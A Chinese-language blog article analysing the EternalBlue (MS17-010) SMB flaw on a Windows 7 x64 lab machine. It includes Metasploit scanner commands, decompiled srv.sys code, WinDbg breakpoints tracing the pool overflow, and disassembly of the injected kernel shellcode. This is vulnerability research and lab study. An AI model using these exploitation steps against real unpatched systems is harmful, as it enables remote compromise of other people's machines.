点击上方蓝字 江湖评谈设为关注/星标
前言
本篇分析下几年前的经典漏洞,永恒之蓝原理。
准备
大多数的分析都是x86环境下的,个人尝试的是x64。机器配置:
靶机:win7 x64(IP:192.168.1.5)(https://msdn.itellyou.cn/下载)
攻击机:Linux kali 6.5.0-kali3-amd64
分析工具:win11 windbg Preview
在vmware设置本机,kail linux,win7的网络为桥接模式,勾选物理网络连接状态,以便双方能够ping通。win7设置一个共享文件夹,文件夹-》属性-》高级共享选择everyone,权限全部勾选。以便把srv.sys,srvnet.sys。复制出来,以供IDA静态分析。
攻击
#su root
#msfconsole
msf6>search ms17-010
msf6>use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.5
rhosts => 192.168.1.5
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.1.5:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7600 x64 (64-bit)
[*] 192.168.1.5:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
可以看到没有问题。下面分析下这个攻击的原理。
原理
永恒之蓝因为长度的问题,导致了漏洞,srv!SrvOs2FeaListToNt里面调用srv!SrvOs2FeaListSizeToNt函数计算长度,idea如下:
__int64 __fastcall SrvOs2FeaListToNt(unsigned int *a1, __int64 *a2, unsigned int *a3, _WORD *a4)
{
__int16 v8; // si
unsigned int v9; // eax
__int64 NonPagedPool; // r11
unsigned int *v12; // rbx
_DWORD *v13; // r12
unsigned int *v14; // r14
unsigned int v15; // ebx
v8 = 0;
v9 = SrvOs2FeaListSizeToNt(a1);
*a3 = v9;
if ( v9 )
{
NonPagedPool = SrvAllocateNonPagedPool(v9, 21i64);
*a2 = NonPagedPool;
if ( NonPagedPool )
{
v12 = a1 + 1;
v13 = (_DWORD *)NonPagedPool;
v14 = (unsigned int *)((char *)a1 + *a1 - 5);
while ( v12 <= v14 )
{
if ( (*(_BYTE *)v12 & 0x7F) != 0 )
{
*a4 = (_WORD)v12 - (_WORD)a1;
v15 = -1073741811;
goto LABEL_15;
}
v13 = (_DWORD *)NonPagedPool;
v8 = (__int16)v12;
NonPagedPool = SrvOs2FeaToNt(NonPagedPool, (__int64)v12);
v12 = (unsigned int *)((char *)v12
+ *((unsigned __int8 *)v12 + 1)
+ (unsigned __int64)*((unsigned __int16 *)v12 + 1)
+ 5);
}
//为了便于观察,后面省略。
观察下,exploit/windows/smb/ms17_010_eternalblue这个脚本传递了长度多少到SrvOs2FeaListSizeToNt,SrvOs2FeaListSizeToNt计算后的长度,以及SrvOs2FeaListSizeToNt返回的长度。
windbg命令如下:
bp SrvOs2FeaListToNt+0x2e ".printf \"before size: %p\\n\,second param: %p\r\n\", poi(rcx),rdx; g;"
bp SrvOs2FeaListToNt+0x33 ".printf \"after size: %p\r\\n,handle after size: %p\r\n\",rax,poi(rdi);g;"
代码对照:
v9 = SrvOs2FeaListSizeToNt(a1);
v9; =
结果:
kd> g
before size: 0000000000010000
,second param: fffff88002f27b38 after size: 0000000000010fe8
,handle after size: 000000000001ff5d
攻击脚本传递进来的长度是:0000000000010000,SrvOs2FeaListSizeToNt函数计算后的长度是:000000000001ff5d ,返回的长度是:0000000000010fe8 。
下面会调用SrvOs2FeaToNt函数,里面的memmove越界赋值了,这里的越界长度是0xa8,这个a8怎么来的呢?可以通过如下命令:
bp srv!SrvOs2FeaListToNt+0xc1 ".printf\"NonPagedPool:%p,v12:%p\\n\",rcx,rdx;g;"
bp srv!SrvOs2FeaToNt+0x5a ".printf\"dest:%p,src:%p,size:%p\\n\",rcx,rdx,r8;g;"
代码对照:
NonPagedPool = SrvOs2FeaToNt(NonPagedPool, (__int64)v12);
//SrvOs2FeaToNt函数里的第二个memmove
memmove(v5 + 1, (const void *)(*(unsigned __int8 *)(a1 + 5) + a2 + 5), *(unsigned __int16 *)(a1 + 6));
此时我们可以得出:
NonPagedPool:fffffa8018fde010,v12:fffff8a000f7a13c
dest:fffffa8018fde019,src:fffff8a000f7a141,size:0000000000000000
NonPagedPool:fffffa8018fde01c,v12:fffff8a000f7a141
dest:fffffa8018fde025,src:fffff8a000f7a146,size:0000000000000000
........................
........................
........................
NonPagedPool:fffffa8018fdfc6c,v12:fffff8a000f7ad0d
dest:fffffa8018fdfc75,src:fffff8a000f7ad12,size:000000000000f383
NonPagedPool:fffffa8018feeff8,v12:fffff8a000f8a095
dest:fffffa8018fef001,src:fffff8a000f8a09a,size:00000000000000a8
第一个dest地址是:fffffa8018fde019,把它加上after size:0000000000010fe8(也即是SrvOs2FeaListSizeToNt函数的返回值),结果是:fffffa8018fef001。刚好是最后一个dest的地址,此时理论上来说已经结束memmove的赋值了。但memmove的长度还需要复制0xa8(也即是size:00000000000000a8)。看下源(src:fffff8a000f8a0)处的内存
命令如下:
bp srv!SrvOs2FeaToNt+0x5a ".if(@r8!=a8){gc} .else{.printf\"dest:%p,src:%p,size:%p\\n\",rcx,rdx,r8;}"
当SrvOs2FeaToNt函数里的第二个memmove的第三个参数为0xa8的时候断下来,对照代码:
//SrvOs2FeaToNt函数里的第二个memmove
memmove(v5 + 1, (const void *)(*(unsigned __int8 *)(a1 + 5) + a2 + 5), *(unsigned __int16 *)(a1 + 6));
结果:
kd> g
dest:fffffa80192f1001,src:fffff8a001a8409a,size:00000000000000a8
srv!SrvOs2FeaToNt+0x5a:
fffff880`02ce580a e8b14bf9ff call srv!memcpy (fffff880`02c7a3c0)
看下src内存(因为memmove第一个参数是v5+1,所以下面减一):
kd> dq fffff8a001a8409a-1
fffff8a0`01a84099 00000000`00000000 00000000`00000000
fffff8a0`01a840a9 00000000`0000ffff 00000000`0000ffff
fffff8a0`01a840b9 00000000`00000000 00000000`00000000
fffff8a0`01a840c9 00000000`ffdff100 ffdff020`00000000
fffff8a0`01a840d9 ffffffff`ffdff100 00000000`10040060
fffff8a0`01a840e9 00000000`ffdfef80 ffffffff`ffd00010
fffff8a0`01a840f9 ffffffff`ffd00118 00000000`00000000
fffff8a0`01a84109 00000000`00000000 00000000`10040060
注意:在win7-x64上,地址fffff8a0`01a840e9+8处: ffffffff`ffd00010正是攻击脚本的入口。而在win7-x86上ffdff020(地址fffff8a0`01a840c9+8)才是攻击脚本的入口。
memmove通过src(fffff8a001a8409a)复制长度0xa8个字节到dst(fffffa80192f1001)。此时替换了src替换了dest地址的内容,而ffffffff`ffd00010会被srvnet.sys模块的SrvNetCommonReceiveHandler 函数调用,进行脚本攻击。
这里的src是windows/smb/ms17_010_eternalblue脚本的内存布局,如何布局的,这个问题下一篇文章再看。这里还有另外一个问题,如何确认ffffffff`ffd00010是攻击脚本的入口的呢?
看下SrvNetCommonReceiveHandler函数:
.text:0000000000011A60 push rbx
.text:0000000000011A62 push rsi
.text:0000000000011A63 push rdi
.text:0000000000011A64 push r12
.text:0000000000011A66 push r13
.text:0000000000011A68 push r14
.text:0000000000011A6A push r15
.text:0000000000011A6C sub rsp, 70h
.text:0000000000011A70 mov r13, r9
.text:0000000000011A73 mov esi, r8d
.text:0000000000011A76 mov edi, edx
.text:0000000000011A78 mov rbx, rcx
.text:0000000000011A7B mov rcx, cs:WPP_GLOBAL_Control
.text:0000000000011A82 mov r12, [rsp+0A8h+arg_28]
.text:0000000000011A8A lea r15, WPP_GLOBAL_Control
.text:0000000000011A91 cmp rcx, r15
.text:0000000000011A94 jz short loc_11AA1
.text:0000000000011A96 bt dword ptr [rcx+2Ch], 9
.text:0000000000011A9B jb loc_17DBB
.text:0000000000011AA1
.text:0000000000011AA1 loc_11AA1: ; CODE XREF: SrvNetCommonReceiveHandler+34↑j
.text:0000000000011AA1 ; SrvNetCommonReceiveHandler+635F↓j ...
.text:0000000000011AA1 mov r14, [rbx+160h]
.text:0000000000011AA8 inc dword ptr [rbx+1E8h]
.text:0000000000011AAE cmp edi, esi
.text:0000000000011AB0 jb short loc_11AB4
.text:0000000000011AB2 mov edi, esi
.text:0000000000011AB4
.text:0000000000011AB4 loc_11AB4: ; CODE XREF: SrvNetCommonReceiveHandler+50↑j
.text:0000000000011AB4 mov r10, [rbx+1D8h]
.text:0000000000011ABB
.text:0000000000011ABB loc_11ABB: ; DATA XREF: .rdata:000000000002A1A4↓o
.text:0000000000011ABB ; .rdata:000000000002AA5C↓o ...
.text:0000000000011ABB mov [rsp+0A8h+arg_18], rbp
.text:0000000000011AC3 test r10, r10
.text:0000000000011AC6 jz loc_11B4E
.text:0000000000011ACC cmp dword ptr [rbx+8], 3
.text:0000000000011AD0 jnz loc_17E1C
.text:0000000000011AD6 mov rax, [rsp+0A8h+arg_40]
.text:0000000000011ADE mov r8d, [rsp+0A8h+arg_20]
.text:0000000000011AE6 mov rdx, [rbx+0B8h]
.text:0000000000011AED mov rcx, [rbx+0B0h]
.text:0000000000011AF4 mov [rsp+0A8h+var_68], rax
.text:0000000000011AF9 mov rax, [rsp+0A8h+arg_38]
.text:0000000000011B01 mov [rsp+0A8h+var_70], rax
.text:0000000000011B06 mov [rsp+0A8h+var_78], r12
.text:0000000000011B0B mov r9d, edi
.text:0000000000011B0E mov [rsp+0A8h+var_80], r13
.text:0000000000011B13 mov [rsp+0A8h+var_88], esi
.text:0000000000011B17 call qword ptr [r10+8]
//为了便于观看,后面的代码省略
最后一行,callqwordptr[r10+8],看下r10哪里来的,命令如下:
bp srvnet!SrvNetCommonReceiveHandler+0xb7 ".printf\"r10 address:%p\\n\",@r10;g;"
结果:
kd> g
r10 address:fffffa801af40fc0
r10 address:fffffa801af40fc0
....................
....................
....................
....................
....................
r10 address:fffffa801af40fc0
r10 address:ffffffffffd001f0
所有r10 address都是一样的,除了最后一个,他的r10 address:ffffffffffd001f0,通过这个地址倒推下。查找下这个值所在的地址:
kd> s -q ffffffffffd00000 ffffffffffd001f0 ffffffffffd001f0
ffffffff`ffd001e8 ffffffff`ffd001f0 00000000`00000000
SrvNetCommonReceiveHandler函数如下地址操纵了r10
.text:0000000000011AB4 mov r10, [rbx+1D8h]
计算下这个地址:
kd> ?(ffffffff`ffd001e8-0x1d8)
Evaluate expression: -3145712 = ffffffff`ffd00010
刚好对应上了上面src里面的ffffffff`ffd00010。
也就是说,通过SrvOs2FeaToNt函数里面的第二个memmove把多余的0x8长度从src赋值到dst,这里的0xa8长度是已经布局好了的。然后SrvNetCommonReceiveHandler函数调用dst里面被src替换的函数,进行脚本攻击。
看下它这个脚本攻击函数,因为call qword ptr [r10+8],所以r10需+8
kd> dq ffffffff`ffd001f0+8
ffffffff`ffd001f8 ffffffff`ffd00201 b9000000`2ee85500
ffffffff`ffd00208 8d4c320f`c0000082 c8394400`0000340d
ffffffff`ffd00218 890a7400`45391974 f845c600`45890455
ffffffff`ffd00228 eac1485a`50914900 2d8d48c3`5d300f20
ffffffff`ffd00238 0cedc148`00001000 70ed8348`0ce5c148
ffffffff`ffd00248 24894865`f8010fc3 8b486500`00001025
ffffffff`ffd00258 2b6a0000`01a82524 00000010`2534ff65
ffffffff`ffd00268 ffffffc5`e8555050 1fc08348`00458b48
看下ffffffff`ffd00201是啥
kd> uf ffffffff`ffd00201
ffffffff`ffd00201 55 push rbp
ffffffff`ffd00202 e82e000000 call ffffffff`ffd00235
ffffffff`ffd00207 b9820000c0 mov ecx,0C0000082h
ffffffff`ffd0020c 0f32 rdmsr
ffffffff`ffd0020e 4c8d0d34000000 lea r9,[ffffffff`ffd00249]
ffffffff`ffd00215 4439c8 cmp eax,r9d
ffffffff`ffd00218 7419 je ffffffff`ffd00233 Branch
ffffffff`ffd0021a 394500 cmp dword ptr [rbp],eax
ffffffff`ffd0021d 740a je ffffffff`ffd00229 Branch
ffffffff`ffd0021f 895504 mov dword ptr [rbp+4],edx
ffffffff`ffd00222 894500 mov dword ptr [rbp],eax
ffffffff`ffd00225 c645f800 mov byte ptr [rbp-8],0
ffffffff`ffd00229 4991 xchg rax,r9
ffffffff`ffd0022b 50 push rax
ffffffff`ffd0022c 5a pop rdx
ffffffff`ffd0022d 48c1ea20 shr rdx,20h
ffffffff`ffd00231 0f30 wrmsr
ffffffff`ffd00233 5d pop rbp
ffffffff`ffd00234 c3 ret
这个注入的代码里面做了些什么,目前还没弄清楚,跟src内存布局一样,下一篇看下。
结尾
微软5月份修补了二十几个重要漏洞,有此联想到了经典漏洞永恒之蓝,本篇对永恒之蓝注入部分进行了解析。如有疏漏,欢迎指正。
往期精彩回顾